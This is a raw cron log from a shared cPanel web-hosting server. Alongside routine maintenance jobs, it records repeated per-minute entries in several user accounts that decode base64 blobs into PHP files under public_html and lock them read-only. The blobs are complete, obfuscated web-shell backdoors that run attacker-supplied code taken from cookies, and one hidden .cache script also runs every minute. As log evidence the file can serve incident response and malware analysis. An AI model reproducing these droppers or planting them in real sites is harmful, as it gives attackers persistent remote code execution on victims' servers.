Mar  2 10:43:02 medusa CROND[10426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:43:02 medusa CROND[10427]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 10:43:02 medusa CROND[10429]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 10:43:02 medusa CROND[10428]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:43:02 medusa CROND[10434]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:44:01 medusa CROND[26205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:44:01 medusa CROND[26285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:44:01 medusa CROND[26286]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:44:01 medusa CROND[26287]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:44:01 medusa CROND[26288]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:44:01 medusa CROND[26291]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:44:01 medusa CROND[26293]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:44:01 medusa CROND[26294]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:44:01 medusa CROND[26296]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:44:01 medusa CROND[26298]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:44:01 medusa CROND[26300]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:44:01 medusa CROND[26299]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 10:44:01 medusa CROND[26303]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:45:01 medusa CROND[12352]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 10:45:01 medusa CROND[12536]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 10:45:01 medusa CROND[12537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:45:01 medusa CROND[12542]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 10:45:01 medusa CROND[12547]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 10:45:01 medusa CROND[12543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 10:45:01 medusa CROND[12549]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:45:01 medusa CROND[12548]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:45:01 medusa CROND[12553]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:45:01 medusa CROND[12552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 10:45:01 medusa CROND[12555]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 10:45:01 medusa CROND[12556]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:45:01 medusa CROND[12561]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:45:01 medusa CROND[12554]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 10:45:01 medusa CROND[12558]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 10:45:01 medusa CROND[12571]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:45:01 medusa CROND[12574]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 10:45:01 medusa CROND[12575]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:45:01 medusa CROND[12580]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:45:01 medusa CROND[12581]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:45:01 medusa CROND[12584]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
